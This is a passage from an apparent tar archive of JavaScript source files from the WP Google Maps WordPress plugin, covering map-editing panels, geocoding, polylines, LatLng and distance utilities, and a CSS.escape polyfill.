WPGMZA.mapEditPage.drawingManager.setDrawingMode(WPGMZA.DrawingManager.MODE_NONE);
this.showPreloader(true);
WPGMZA.restAPI.call(route, {
method: "POST",
data: data,
success: function(data, status, xhr) {
var feature;
var functionSuffix = WPGMZA.capitalizeWords(self.featureType);
var getByIDFunction = "get" + functionSuffix + "ByID";
var removeFunction = "remove" + functionSuffix;
var addFunction = "add" + functionSuffix;
self.reset();
if(feature = self.map[getByIDFunction](id))
self.map[removeFunction](feature);
self.setTargetFeature(null);
self.showPreloader(false);
feature = WPGMZA[WPGMZA.capitalizeWords(self.featureType)].createInstance(data);
self.map[addFunction](feature);
self.featureDataTable.reload();
self.onTabActivated(event);
}
})
}
});
map-edit-page/marker-panel.js 0000666 00000013701 15176066225 0012112 0 ustar 00 /**
* @namespace WPGMZA
* @module MarkerPanel
* @requires WPGMZA.FeaturePanel
*/
jQuery(function($) {
WPGMZA.MarkerPanel = function(element, mapEditPage)
{
WPGMZA.FeaturePanel.apply(this, arguments);
}
WPGMZA.extend(WPGMZA.MarkerPanel, WPGMZA.FeaturePanel);
WPGMZA.MarkerPanel.createInstance = function(element, mapEditPage)
{
if(WPGMZA.isProVersion())
return new WPGMZA.ProMarkerPanel(element, mapEditPage);
return new WPGMZA.MarkerPanel(element, mapEditPage);
}
WPGMZA.MarkerPanel.prototype.initDefaults = function(){
var self = this;
WPGMZA.FeaturePanel.prototype.initDefaults.apply(this, arguments);
this.adjustSubMode = false;
this.onTabActivated(null);
$(document.body).on("click", "[data-adjust-" + this.featureType + "-id]", function(event) {
self.onAdjustFeature(event);
});
$(document.body).on("click", ".wpgmza_approve_btn", function(event) {
self.onApproveMarker(event);
});
}
WPGMZA.MarkerPanel.prototype.onAdjustFeature = function(event){
var self = this;
var name = "data-adjust-" + this.featureType + "-id";
var id = $(event.currentTarget).attr(name);
this.discardChanges();
this.adjustSubMode = true;
this.select(id);
}
WPGMZA.MarkerPanel.prototype.onApproveMarker = function(event){
var self = this;
var route = "/" + this.featureType + "s/" + $(event.currentTarget).attr('id');
WPGMZA.restAPI.call(route, {
method: "POST",
data: {
approved : "1"
},
success: function(data, status, xhr) {
self.featureDataTable.reload();
}
});
}
WPGMZA.MarkerPanel.prototype.onFeatureChanged = function(event){
if(this.adjustSubMode){
var aPos = this.feature.getPosition();
if(aPos){
$(this.element).find("[data-ajax-name='lat']").val(aPos.lat);
$(this.element).find("[data-ajax-name='lng']").val(aPos.lng);
}
// Exit early, we don't want to adjust the address
return;
}
var addressField = $(this.element).find("input[data-ajax-name$='address']");
if(!addressField.length)
return;
var pos = this.feature.getPosition();
addressField.val(pos.lat + ',' + pos.lng);
}
WPGMZA.MarkerPanel.prototype.setTargetFeature = function(feature){
if(WPGMZA.FeaturePanel.prevEditableFeature){
var prev = WPGMZA.FeaturePanel.prevEditableFeature;
if(prev.setOpacity){
prev.setOpacity(1);
}
}
/**
* We could probably make this adjust mode code more elegant in the future
*
* Temporary solution as it is causing trouble for clients
*
* Date: 2021-01-15
*/
$(this.element).find('[data-ajax-name]').removeAttr('disabled');
$(this.element).find('fieldset').show();
$(this.element).find('.wpgmza-adjust-mode-notice').addClass('wpgmza-hidden');
$(this.element).find('[data-ajax-name="lat"]').attr('type', 'hidden');
$(this.element).find('[data-ajax-name="lng"]').attr('type', 'hidden');
$(this.element).find('.wpgmza-hide-in-adjust-mode').removeClass('wpgmza-hidden');
$(this.element).find('.wpgmza-show-in-adjust-mode').addClass('wpgmza-hidden');
if(feature){
if(feature.setOpacity){
feature.setOpacity(0.7);
}
feature.getMap().panTo(feature.getPosition());
if(this.adjustSubMode){
$(this.element).find('[data-ajax-name]').attr('disabled', 'disabled');
$(this.element).find('fieldset:not(.wpgmza-always-on)').hide();
$(this.element).find('.wpgmza-adjust-mode-notice').removeClass('wpgmza-hidden');
$(this.element).find('[data-ajax-name="lat"]').attr('type', 'text').removeAttr('disabled');
$(this.element).find('[data-ajax-name="lng"]').attr('type', 'text').removeAttr('disabled');
$(this.element).find('.wpgmza-hide-in-adjust-mode').addClass('wpgmza-hidden');
$(this.element).find('.wpgmza-show-in-adjust-mode').removeClass('wpgmza-hidden');
}
} else {
this.adjustSubMode = false;
}
WPGMZA.FeaturePanel.prototype.setTargetFeature.apply(this, arguments);
}
WPGMZA.MarkerPanel.prototype.onSave = function(event)
{
var self = this;
var geocoder = WPGMZA.Geocoder.createInstance();
var address = $(this.element).find("[data-ajax-name='address']").val();
var geocodingData = {
address: address
}
WPGMZA.mapEditPage.drawingManager.setDrawingMode(WPGMZA.DrawingManager.MODE_NONE);
this.showPreloader(true);
// New cloud functions
var cloud_lat = false;
var cloud_lng = false;
// is the lat and lng set from the WPGM Cloud Search?
if (document.getElementsByName("lat").length > 0) { cloud_lat = document.getElementsByName("lat")[0].value; }
if (document.getElementsByName("lng").length > 0) { cloud_lng = document.getElementsByName("lng")[0].value; }
if (cloud_lat && cloud_lng) {
if(!WPGMZA_localized_data.settings.googleMapsApiKey || WPGMZA_localized_data.settings.googleMapsApiKey === ''){
//Let's only do this if it's not their own key, this causes issues with repositioning a marker
geocodingData.lat = parseFloat(cloud_lat);
geocodingData.lng = parseFloat(cloud_lng);
}
}
if(this.adjustSubMode){
// Trust the force!
WPGMZA.FeaturePanel.prototype.onSave.apply(self, arguments);
} else {
geocoder.geocode(geocodingData, function(results, status) {
switch(status)
{
case WPGMZA.Geocoder.ZERO_RESULTS:
alert(WPGMZA.localized_strings.zero_results);
self.showPreloader(false);
return;
break;
case WPGMZA.Geocoder.SUCCESS:
break;
case WPGMZA.Geocoder.NO_ADDRESS:
alert(WPGMZA.localized_strings.no_address);
self.showPreloader(false);
return;
break;
case WPGMZA.Geocoder.FAIL:
default:
alert(WPGMZA.localized_strings.geocode_fail);
self.showPreloader(false);
return;
break;
}
var result = results[0];
$(self.element).find("[data-ajax-name='lat']").val(result.lat);
$(self.element).find("[data-ajax-name='lng']").val(result.lng);
WPGMZA.FeaturePanel.prototype.onSave.apply(self, arguments);
});
}
WPGMZA.mapEditPage.map.resetBounds();
}
}); map-edit-page/circle-panel.js 0000666 00000002373 15176066225 0012075 0 ustar 00 /**
* @namespace WPGMZA
* @module CirclePanel
* @requires WPGMZA.FeaturePanel
*/
jQuery(function($) {
WPGMZA.CirclePanel = function(element, mapEditPage)
{
WPGMZA.FeaturePanel.apply(this, arguments);
}
WPGMZA.extend(WPGMZA.CirclePanel, WPGMZA.FeaturePanel);
WPGMZA.CirclePanel.createInstance = function(element, mapEditPage)
{
if(WPGMZA.isProVersion())
return new WPGMZA.ProCirclePanel(element, mapEditPage);
return new WPGMZA.CirclePanel(element, mapEditPage);
}
WPGMZA.CirclePanel.prototype.updateFields = function()
{
$(this.element).find("[data-ajax-name='center']").val( this.feature.getCenter().toString() );
$(this.element).find("[data-ajax-name='radius']").val( this.feature.getRadius() );
}
WPGMZA.CirclePanel.prototype.onDrawingComplete = function(event)
{
WPGMZA.FeaturePanel.prototype.onDrawingComplete.apply(this, arguments);
this.updateFields();
}
WPGMZA.CirclePanel.prototype.setTargetFeature = function(feature){
WPGMZA.FeaturePanel.prototype.setTargetFeature.apply(this, arguments);
if(feature){
this.updateFields();
}
}
WPGMZA.CirclePanel.prototype.onFeatureChanged = function(event)
{
WPGMZA.FeaturePanel.prototype.onFeatureChanged.apply(this, arguments);
this.updateFields();
}
}); map-edit-page/rectangle-panel.js 0000666 00000002623 15176066225 0012576 0 ustar 00 /**
* @namespace WPGMZA
* @module RectanglePanel
* @requires WPGMZA.FeaturePanel
*/
jQuery(function($) {
WPGMZA.RectanglePanel = function(element, mapEditPage)
{
WPGMZA.FeaturePanel.apply(this, arguments);
}
WPGMZA.extend(WPGMZA.RectanglePanel, WPGMZA.FeaturePanel);
WPGMZA.RectanglePanel.createInstance = function(element, mapEditPage)
{
if(WPGMZA.isProVersion())
return new WPGMZA.ProRectanglePanel(element, mapEditPage);
return new WPGMZA.RectanglePanel(element, mapEditPage);
}
WPGMZA.RectanglePanel.prototype.updateFields = function()
{
var bounds = this.feature.getBounds();
if(bounds.north && bounds.west && bounds.south && bounds.east){
$(this.element).find("[data-ajax-name='cornerA']").val( bounds.north + ", " + bounds.west );
$(this.element).find("[data-ajax-name='cornerB']").val( bounds.south + ", " + bounds.east );
}
}
WPGMZA.RectanglePanel.prototype.setTargetFeature = function(feature){
WPGMZA.FeaturePanel.prototype.setTargetFeature.apply(this, arguments);
if(feature){
this.updateFields();
}
}
WPGMZA.RectanglePanel.prototype.onDrawingComplete = function(event)
{
WPGMZA.FeaturePanel.prototype.onDrawingComplete.apply(this, arguments);
this.updateFields();
}
WPGMZA.RectanglePanel.prototype.onFeatureChanged = function(event)
{
WPGMZA.FeaturePanel.prototype.onFeatureChanged.apply(this, arguments);
this.updateFields();
}
}); polyfills.js 0000666 00000001053 15176066225 0007134 0 ustar 00 /**
* @namespace WPGMZA
* @module Polyfills
* @requires WPGMZA
*/
jQuery(function($) {
// IE11 polyfill for slice not being implemented on Uint8Array (used by text.js)
if (!Uint8Array.prototype.slice) {
Object.defineProperty(Uint8Array.prototype, 'slice', {
value: function (begin, end) {
return new Uint8Array(Array.prototype.slice.call(this, begin, end));
}
});
}
// Safari polyfill for Enfold themes TypeError: 'undefined' is not a valid argument for 'in'
if(WPGMZA.isSafari() && !window.external)
window.external = {};
}); map-list-page.js 0000666 00000001464 15176066225 0007565 0 ustar 00 /**
* @namespace WPGMZA
* @module MapListPage
* @requires WPGMZA
*/
jQuery(function($) {
WPGMZA.MapListPage = function()
{
$("body").on("click",".wpgmza_copy_shortcode", function() {
var $temp = jQuery('<input>');
var $tmp2 = jQuery('<span id="wpgmza_tmp" style="display:none; width:100%; text-align:center;">');
jQuery("body").append($temp);
$temp.val(jQuery(this).val()).select();
document.execCommand("copy");
$temp.remove();
WPGMZA.notification("Shortcode Copied");
});
}
WPGMZA.MapListPage.createInstance = function()
{
return new WPGMZA.MapListPage();
}
$(document).ready(function(event) {
if(WPGMZA.getCurrentPage() == WPGMZA.PAGE_MAP_LIST)
WPGMZA.mapListPage = WPGMZA.MapListPage.createInstance();
});
}); polyline.js 0000666 00000006556 15176066225 0006767 0 ustar 00 /**
* @namespace WPGMZA
* @module Polyline
* @requires WPGMZA.Feature
*/
jQuery(function($) {
/**
* Base class for polylines. <strong>Please <em>do not</em> call this constructor directly. Always use createInstance rather than instantiating this class directly.</strong> Using createInstance allows this class to be externally extensible.
* @class WPGMZA.Polyline
* @constructor WPGMZA.Polyline
* @memberof WPGMZA
* @param {object} [options] Options to apply to this polyline.
* @param {object} [enginePolyline] An engine polyline, passed from the drawing manager. Used when a polyline has been created by a drawing manager.
* @augments WPGMZA.Feature
*/
WPGMZA.Polyline = function(options, googlePolyline)
{
var self = this;
WPGMZA.assertInstanceOf(this, "Polyline");
WPGMZA.Feature.apply(this, arguments);
}
WPGMZA.Polyline.prototype = Object.create(WPGMZA.Feature.prototype);
WPGMZA.Polyline.prototype.constructor = WPGMZA.Polyline;
Object.defineProperty(WPGMZA.Polyline.prototype, "strokeColor", {
enumerable: true,
"get": function()
{
if(!this.linecolor || !this.linecolor.length)
return "#ff0000";
return "#" + this.linecolor.replace(/^#/, "");
},
"set": function(a){
this.linecolor = a;
}
});
Object.defineProperty(WPGMZA.Polyline.prototype, "strokeOpacity", {
enumerable: true,
"get": function()
{
if(!this.opacity || !this.opacity.length)
return 0.6;
return this.opacity;
},
"set": function(a){
this.opacity = a;
}
});
Object.defineProperty(WPGMZA.Polyline.prototype, "strokeWeight", {
enumerable: true,
"get": function()
{
if(!this.linethickness || !this.linethickness.length)
return 1;
return parseInt(this.linethickness);
},
"set": function(a){
this.linethickness = a;
}
});
/**
* Returns the contructor to be used by createInstance, depending on the selected maps engine.
* @method
* @memberof WPGMZA.Polyline
* @return {function} The appropriate contructor
*/
WPGMZA.Polyline.getConstructor = function()
{
switch(WPGMZA.settings.engine)
{
case "open-layers":
return WPGMZA.OLPolyline;
break;
default:
return WPGMZA.GooglePolyline;
break;
}
}
/**
* Creates an instance of a map, <strong>please <em>always</em> use this function rather than calling the constructor directly</strong>.
* @method
* @memberof WPGMZA.Polyline
* @param {object} [options] Options to apply to this polyline.
* @param {object} [enginePolyline] An engine polyline, passed from the drawing manager. Used when a polyline has been created by a drawing manager.
* @returns {WPGMZA.Polyline} An instance of WPGMZA.Polyline
*/
WPGMZA.Polyline.createInstance = function(options, engineObject)
{
var constructor = WPGMZA.Polyline.getConstructor();
return new constructor(options, engineObject);
}
/**
* Gets the points on this polylines
* @return {array} An array of LatLng literals
*/
WPGMZA.Polyline.prototype.getPoints = function()
{
return this.toJSON().points;
}
/**
* Returns a JSON representation of this polyline, for serialization
* @method
* @memberof WPGMZA.Polyline
* @returns {object} A JSON object representing this polyline
*/
WPGMZA.Polyline.prototype.toJSON = function()
{
var result = WPGMZA.Feature.prototype.toJSON.call(this);
result.title = this.title;
return result;
}
}); marker-panel.js 0000666 00000000562 15176066225 0007501 0 ustar 00 /**
* @namespace WPGMZA
* @module MarkerPanel
* @requires WPGMZA
*/
jQuery(function($) {
WPGMZA.MarkerPanel = function(element)
{
this.element = element;
}
$(documet).ready(function(event) {
if(WPGMZA.getCurrentPage() == WPGMZA.PAGE_MAP_EDIT)
WPGMZA.mapEditPage.markerPanel = new WPGMZA.MarkerPanel($("#wpgmza-marker-edit-panel")[0]);
});
}); geocoder.js 0000666 00000007716 15176066225 0006722 0 ustar 00 /**
* @namespace WPGMZA
* @module Geocoder
* @requires WPGMZA
*/
jQuery(function($) {
/**
* Base class for geocoders. <strong>Please <em>do not</em> call this constructor directly. Always use createInstance rather than instantiating this class directly.</strong> Using createInstance allows this class to be externally extensible.
* @class WPGMZA.Geocoder
* @constructor WPGMZA.Geocoder
* @memberof WPGMZA
* @see WPGMZA.Geocoder.createInstance
*/
WPGMZA.Geocoder = function()
{
WPGMZA.assertInstanceOf(this, "Geocoder");
}
/**
* Indicates a successful geocode, with one or more results
* @constant SUCCESS
* @memberof WPGMZA.Geocoder
*/
WPGMZA.Geocoder.SUCCESS = "success";
/**
* Indicates the geocode was successful, but returned no results
* @constant ZERO_RESULTS
* @memberof WPGMZA.Geocoder
*/
WPGMZA.Geocoder.ZERO_RESULTS = "zero-results";
/**
* Indicates the geocode failed, usually due to technical reasons (eg connectivity)
* @constant FAIL
* @memberof WPGMZA.Geocoder
*/
WPGMZA.Geocoder.FAIL = "fail";
/**
* Returns the contructor to be used by createInstance, depending on the selected maps engine.
* @method
* @memberof WPGMZA.Geocoder
* @return {function} The appropriate contructor
*/
WPGMZA.Geocoder.getConstructor = function()
{
switch(WPGMZA.settings.engine)
{
case "open-layers":
return WPGMZA.OLGeocoder;
break;
default:
return WPGMZA.GoogleGeocoder;
break;
}
}
/**
* Creates an instance of a Geocoder, <strong>please <em>always</em> use this function rather than calling the constructor directly</strong>
* @method
* @memberof WPGMZA.Geocoder
* @return {WPGMZA.Geocoder} A subclass of WPGMZA.Geocoder
*/
WPGMZA.Geocoder.createInstance = function()
{
var constructor = WPGMZA.Geocoder.getConstructor();
return new constructor();
}
/**
* Attempts to convert a street address to an array of potential coordinates that match the address, which are passed to a callback. If the address is interpreted as a latitude and longitude coordinate pair, the callback is immediately fired.
* @method
* @memberof WPGMZA.Geocoder
* @param {object} options The options to geocode, address is mandatory.
* @param {function} callback The callback to receive the geocode result.
* @return {void}
*/
WPGMZA.Geocoder.prototype.getLatLngFromAddress = function(options, callback)
{
if(WPGMZA.isLatLngString(options.address))
{
var parts = options.address.split(/,\s*/);
var latLng = new WPGMZA.LatLng({
lat: parseFloat(parts[0]),
lng: parseFloat(parts[1])
});
// NB: Quick fix, solves issue with right click marker. Solve this there by making behaviour consistent
latLng.latLng = latLng;
callback([latLng], WPGMZA.Geocoder.SUCCESS);
}
}
/**
* Attempts to convert latitude eand longitude coordinates into a street address. By default this will simply return the coordinates wrapped in an array.
* @method
* @memberof WPGMZA.Geocoder
* @param {object} options The options to geocode, latLng is mandatory.
* @param {function} callback The callback to receive the geocode result.
* @return {void}
*/
WPGMZA.Geocoder.prototype.getAddressFromLatLng = function(options, callback)
{
var latLng = new WPGMZA.LatLng(options.latLng);
callback([latLng.toString()], WPGMZA.Geocoder.SUCCESS);
}
/**
* Geocodes either an address or a latitude and longitude coordinate pair, depending on the input
* @method
* @memberof WPGMZA.Geocoder
* @param {object} options The options to geocode, you must supply <em>either</em> latLng <em>or</em> address.
* @throws You must supply either a latLng or address
* @return {void}
*/
WPGMZA.Geocoder.prototype.geocode = function(options, callback)
{
if("address" in options)
return this.getLatLngFromAddress(options, callback);
else if("latLng" in options)
return this.getAddressFromLatLng(options, callback);
throw new Error("You must supply either a latLng or address");
}
}); css-escape.js 0000666 00000006305 15176066225 0007152 0 ustar 00 /**
* Polyfill for CSS.escape, with thanks to @mathias
* @namespace WPGMZA
* @module CSS
* @requires WPGMZA
*/
/*! https://mths.be/cssescape v1.5.1 by @mathias | MIT license */
;(function(root, factory) {
// https://github.com/umdjs/umd/blob/master/returnExports.js
if (typeof exports == 'object') {
// For Node.js.
module.exports = factory(root);
} else if (typeof define == 'function' && define.amd) {
// For AMD. Register as an anonymous module.
define([], factory.bind(root, root));
} else {
// For browser globals (not exposing the function separately).
factory(root);
}
}(typeof global != 'undefined' ? global : this, function(root) {
if (root.CSS && root.CSS.escape) {
return root.CSS.escape;
}
// https://drafts.csswg.org/cssom/#serialize-an-identifier
var cssEscape = function(value) {
if (arguments.length == 0) {
throw new TypeError('`CSS.escape` requires an argument.');
}
var string = String(value);
var length = string.length;
var index = -1;
var codeUnit;
var result = '';
var firstCodeUnit = string.charCodeAt(0);
while (++index < length) {
codeUnit = string.charCodeAt(index);
// Note: there’s no need to special-case astral symbols, surrogate
// pairs, or lone surrogates.
// If the character is NULL (U+0000), then the REPLACEMENT CHARACTER
// (U+FFFD).
if (codeUnit == 0x0000) {
result += '\uFFFD';
continue;
}
if (
// If the character is in the range [\1-\1F] (U+0001 to U+001F) or is
// U+007F, […]
(codeUnit >= 0x0001 && codeUnit <= 0x001F) || codeUnit == 0x007F ||
// If the character is the first character and is in the range [0-9]
// (U+0030 to U+0039), […]
(index == 0 && codeUnit >= 0x0030 && codeUnit <= 0x0039) ||
// If the character is the second character and is in the range [0-9]
// (U+0030 to U+0039) and the first character is a `-` (U+002D), […]
(
index == 1 &&
codeUnit >= 0x0030 && codeUnit <= 0x0039 &&
firstCodeUnit == 0x002D
)
) {
// https://drafts.csswg.org/cssom/#escape-a-character-as-code-point
result += '\\' + codeUnit.toString(16) + ' ';
continue;
}
if (
// If the character is the first character and is a `-` (U+002D), and
// there is no second character, […]
index == 0 &&
length == 1 &&
codeUnit == 0x002D
) {
result += '\\' + string.charAt(index);
continue;
}
// If the character is not handled by one of the above rules and is
// greater than or equal to U+0080, is `-` (U+002D) or `_` (U+005F), or
// is in one of the ranges [0-9] (U+0030 to U+0039), [A-Z] (U+0041 to
// U+005A), or [a-z] (U+0061 to U+007A), […]
if (
codeUnit >= 0x0080 ||
codeUnit == 0x002D ||
codeUnit == 0x005F ||
codeUnit >= 0x0030 && codeUnit <= 0x0039 ||
codeUnit >= 0x0041 && codeUnit <= 0x005A ||
codeUnit >= 0x0061 && codeUnit <= 0x007A
) {
// the character itself
result += string.charAt(index);
continue;
}
// Otherwise, the escaped character.
// https://drafts.csswg.org/cssom/#escape-a-character
result += '\\' + string.charAt(index);
}
return result;
};
if (!root.CSS) {
root.CSS = {};
}
root.CSS.escape = cssEscape;
return cssEscape;
})); address-input.js 0000666 00000003307 15176066225 0007705 0 ustar 00 /**
* @namespace WPGMZA
* @module AddressInput
* @requires WPGMZA.EventDispatcher
*/
jQuery(function($) {
WPGMZA.AddressInput = function(element, map)
{
if(!(element instanceof HTMLInputElement))
throw new Error("Element is not an instance of HTMLInputElement");
this.element = element;
var json;
var options = {
fields: ["name", "formatted_address"],
types: ["geocode", "establishment"]
};
if(json = $(element).attr("data-autocomplete-options"))
options = $.extend(options, JSON.parse(json));
if(map && map.settings.wpgmza_store_locator_restrict)
options.country = map.settings.wpgmza_store_locator_restrict;
if(WPGMZA.isGoogleAutocompleteSupported()) {
// only apply Google Places Autocomplete if they are usig their own API key. If not, they will use our Cloud API Complete Service
if (this.id != 'wpgmza_add_address_map_editor' && WPGMZA_localized_data.settings.googleMapsApiKey && WPGMZA_localized_data.settings.googleMapsApiKey !== '') {
element.googleAutoComplete = new google.maps.places.Autocomplete(element, options);
if(options.country)
element.googleAutoComplete.setComponentRestrictions({country: options.country});
}
}
else if(WPGMZA.CloudAPI && WPGMZA.CloudAPI.isBeingUsed)
element.cloudAutoComplete = new WPGMZA.CloudAutocomplete(element, options);
}
WPGMZA.extend(WPGMZA.AddressInput, WPGMZA.EventDispatcher);
WPGMZA.AddressInput.createInstance = function(element, map) {
return new WPGMZA.AddressInput(element, map);
}
/*$(window).on("load", function(event) {
$("input.wpgmza-address").each(function(index, el) {
el.wpgmzaAddressInput = WPGMZA.AddressInput.createInstance(el);
});
});*/
}); latlng.js 0000666 00000020110 15176066225 0006373 0 ustar 00 /**
* @namespace WPGMZA
* @module LatLng
* @requires WPGMZA
*/
jQuery(function($) {
/**
* This class represents a latitude and longitude coordinate pair, and provides utilities to work with coordinates, parsing and conversion.
* @class WPGMZA.LatLng
* @constructor WPGMZA.LatLng
* @memberof WPGMZA
* @param {number|object} arg A latLng literal, or latitude
* @param {number} [lng] The latitude, where arg is a longitude
*/
WPGMZA.LatLng = function(arg, lng)
{
this._lat = 0;
this._lng = 0;
if(arguments.length == 0)
return;
if(arguments.length == 1)
{
// TODO: Support latlng string
if(typeof arg == "string")
{
var m;
if(!(m = arg.match(WPGMZA.LatLng.REGEXP)))
throw new Error("Invalid LatLng string");
arg = {
lat: m[1],
lng: m[3]
};
}
if(typeof arg != "object" || !("lat" in arg && "lng" in arg))
throw new Error("Argument must be a LatLng literal");
this.lat = arg.lat;
this.lng = arg.lng;
}
else
{
this.lat = arg;
this.lng = lng;
}
}
/**
* A regular expression which matches latitude and longitude coordinate pairs from a string. Matches 1 and 3 correspond to latitude and longitude, respectively,
* @constant {RegExp}
* @memberof WPGMZA.LatLng
*/
WPGMZA.LatLng.REGEXP = /^(\-?\d+(\.\d+)?),\s*(\-?\d+(\.\d+)?)$/;
/**
* Returns true if the supplied object is a LatLng literal, also returns true for instances of WPGMZA.LatLng
* @method
* @static
* @memberof WPGMZA.LatLng
* @param {object} obj A LatLng literal, or an instance of WPGMZA.LatLng
* @return {bool} True if this object is a valid LatLng literal or instance of WPGMZA.LatLng
*/
WPGMZA.LatLng.isValid = function(obj)
{
if(typeof obj != "object")
return false;
if(!("lat" in obj && "lng" in obj))
return false;
return true;
}
WPGMZA.LatLng.isLatLngString = function(str)
{
if(typeof str != "string")
return false;
return str.match(WPGMZA.LatLng.REGEXP) ? true : false;
}
/**
* The latitude, guaranteed to be a number
* @property lat
* @memberof WPGMZA.LatLng
*/
Object.defineProperty(WPGMZA.LatLng.prototype, "lat", {
get: function() {
return this._lat;
},
set: function(val) {
if(!$.isNumeric(val))
throw new Error("Latitude must be numeric");
this._lat = parseFloat( val );
}
});
/**
* The longitude, guaranteed to be a number
* @property lng
* @memberof WPGMZA.LatLng
*/
Object.defineProperty(WPGMZA.LatLng.prototype, "lng", {
get: function() {
return this._lng;
},
set: function(val) {
if(!$.isNumeric(val))
throw new Error("Longitude must be numeric");
this._lng = parseFloat( val );
}
});
WPGMZA.LatLng.fromString = function(string)
{
if(!WPGMZA.LatLng.isLatLngString(string))
throw new Error("Not a valid latlng string");
var m = string.match(WPGMZA.LatLng.REGEXP);
return new WPGMZA.LatLng({
lat: parseFloat(m[1]),
lng: parseFloat(m[3])
});
}
/**
* Returns this latitude and longitude as a string
* @method
* @memberof WPGMZA.LatLng
* @return {string} This object represented as a string
*/
WPGMZA.LatLng.prototype.toString = function()
{
return this._lat + ", " + this._lng;
}
/**
* Queries the users current location and passes it to a callback, you can pass
* geocodeAddress through options if you would like to also receive the address
* @method
* @memberof WPGMZA.LatLng
* @param {function} A callback to receive the WPGMZA.LatLng
* @param {object} An object of options, only geocodeAddress is currently supported
* @return void
*/
WPGMZA.LatLng.fromCurrentPosition = function(callback, options)
{
if(!options)
options = {};
if(!callback)
return;
WPGMZA.getCurrentPosition(function(position) {
var latLng = new WPGMZA.LatLng({
lat: position.coords.latitude,
lng: position.coords.longitude
});
if(options.geocodeAddress)
{
var geocoder = WPGMZA.Geocoder.createInstance();
geocoder.getAddressFromLatLng({
latLng: latLng
}, function(results) {
if(results.length)
latLng.address = results[0];
callback(latLng);
});
}
else
callback(latLng);
});
}
/**
* Returns an instnace of WPGMZA.LatLng from an instance of google.maps.LatLng
* @method
* @static
* @memberof WPGMZA.LatLng
* @param {google.maps.LatLng} The google.maps.LatLng to convert
* @return {WPGMZA.LatLng} An instance of WPGMZA.LatLng built from the supplied google.maps.LatLng
*/
WPGMZA.LatLng.fromGoogleLatLng = function(googleLatLng)
{
return new WPGMZA.LatLng(
googleLatLng.lat(),
googleLatLng.lng()
);
}
WPGMZA.LatLng.toGoogleLatLngArray = function(arr)
{
var result = [];
arr.forEach(function(nativeLatLng) {
if(! (nativeLatLng instanceof WPGMZA.LatLng || ("lat" in nativeLatLng && "lng" in nativeLatLng)) )
throw new Error("Unexpected input");
result.push(new google.maps.LatLng({
lat: parseFloat(nativeLatLng.lat),
lng: parseFloat(nativeLatLng.lng)
}));
});
return result;
}
/**
* Returns an instance of google.maps.LatLng with the same coordinates as this object
* @method
* @memberof WPGMZA.LatLng
* @return {google.maps.LatLng} This object, expressed as a google.maps.LatLng
*/
WPGMZA.LatLng.prototype.toGoogleLatLng = function()
{
return new google.maps.LatLng({
lat: this.lat,
lng: this.lng
});
}
WPGMZA.LatLng.prototype.toLatLngLiteral = function()
{
return {
lat: this.lat,
lng: this.lng
};
}
/**
* Moves this latLng by the specified kilometers along the given heading. This function operates in place, as opposed to creating a new instance of WPGMZA.LatLng. With many thanks to Hu Kenneth - https://gis.stackexchange.com/questions/234473/get-a-lonlat-point-by-distance-or-between-2-lonlat-points
* @method
* @memberof WPGMZA.LatLng
* @param {number} kilometers The number of kilometers to move this LatLng by
* @param {number} heading The heading, in degrees, to move along, where zero is North
* @return {void}
*/
WPGMZA.LatLng.prototype.moveByDistance = function(kilometers, heading)
{
var radius = 6371;
var delta = parseFloat(kilometers) / radius;
var theta = parseFloat(heading) / 180 * Math.PI;
var phi1 = this.lat / 180 * Math.PI;
var lambda1 = this.lng / 180 * Math.PI;
var sinPhi1 = Math.sin(phi1), cosPhi1 = Math.cos(phi1);
var sinDelta = Math.sin(delta), cosDelta = Math.cos(delta);
var sinTheta = Math.sin(theta), cosTheta = Math.cos(theta);
var sinPhi2 = sinPhi1 * cosDelta + cosPhi1 * sinDelta * cosTheta;
var phi2 = Math.asin(sinPhi2);
var y = sinTheta * sinDelta * cosPhi1;
var x = cosDelta - sinPhi1 * sinPhi2;
var lambda2 = lambda1 + Math.atan2(y, x);
this.lat = phi2 * 180 / Math.PI;
this.lng = lambda2 * 180 / Math.PI;
}
/**
* @function getGreatCircleDistance
* @summary Uses the haversine formula to get the great circle distance between this and another LatLng / lat & lng pair
* @param arg1 [WPGMZA.LatLng|Object|Number] Either a WPGMZA.LatLng, an object representing a lat/lng literal, or a latitude
* @param arg2 (optional) If arg1 is a Number representing latitude, pass arg2 to represent the longitude
* @return number The distance "as the crow files" between this point and the other
*/
WPGMZA.LatLng.prototype.getGreatCircleDistance = function(arg1, arg2)
{
var lat1 = this.lat;
var lon1 = this.lng;
var other;
if(arguments.length == 1)
other = new WPGMZA.LatLng(arg1);
else if(arguments.length == 2)
other = new WPGMZA.LatLng(arg1, arg2);
else
throw new Error("Invalid number of arguments");
var lat2 = other.lat;
var lon2 = other.lng;
var R = 6371; // Kilometers
var phi1 = lat1.toRadians();
var phi2 = lat2.toRadians();
var deltaPhi = (lat2-lat1).toRadians();
var deltaLambda = (lon2-lon1).toRadians();
var a = Math.sin(deltaPhi/2) * Math.sin(deltaPhi/2) +
Math.cos(phi1) * Math.cos(phi2) *
Math.sin(deltaLambda/2) * Math.sin(deltaLambda/2);
var c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a));
var d = R * c;
return d;
}
}); distance.js 0000666 00000010162 15176066225 0006712 0 ustar 00 /**
* Collection of distance utility functions and constants
* @namespace WPGMZA
* @module Distance
* @requires WPGMZA
*/
jQuery(function($) {
var earthRadiusMeters = 6371;
var piTimes360 = Math.PI / 360;
function deg2rad(deg) {
return deg * (Math.PI/180)
};
/**
* @class WPGMZA.Distance
* @memberof WPGMZA
* @deprecated Will be dropped wiht the introduction of global distance units
*/
WPGMZA.Distance = {
/**
* Miles, represented as true by legacy versions of the plugin
* @constant MILES
* @static
* @memberof WPGMZA.Distance
*/
MILES: true,
/**
* Kilometers, represented as false by legacy versions of the plugin
* @constant KILOMETERS
* @static
* @memberof WPGMZA.Distance
*/
KILOMETERS: false,
/**
* Miles per kilometer
* @constant MILES_PER_KILOMETER
* @static
* @memberof WPGMZA.Distance
*/
MILES_PER_KILOMETER: 0.621371,
/**
* Kilometers per mile
* @constant KILOMETERS_PER_MILE
* @static
*/
KILOMETERS_PER_MILE: 1.60934,
// TODO: Implement WPGMZA.settings.distance_units
/**
* Converts a UI distance (eg from a form control) to meters,
* accounting for the global units setting
* @method uiToMeters
* @static
* @memberof WPGMZA.Distance
* @param {number} uiDistance The distance from the UI, could be in miles or kilometers depending on settings
* @return {number} The input distance in meters
*/
uiToMeters: function(uiDistance)
{
return parseFloat(uiDistance) / (WPGMZA.settings.distance_units == WPGMZA.Distance.MILES ? WPGMZA.Distance.MILES_PER_KILOMETER : 1) * 1000;
},
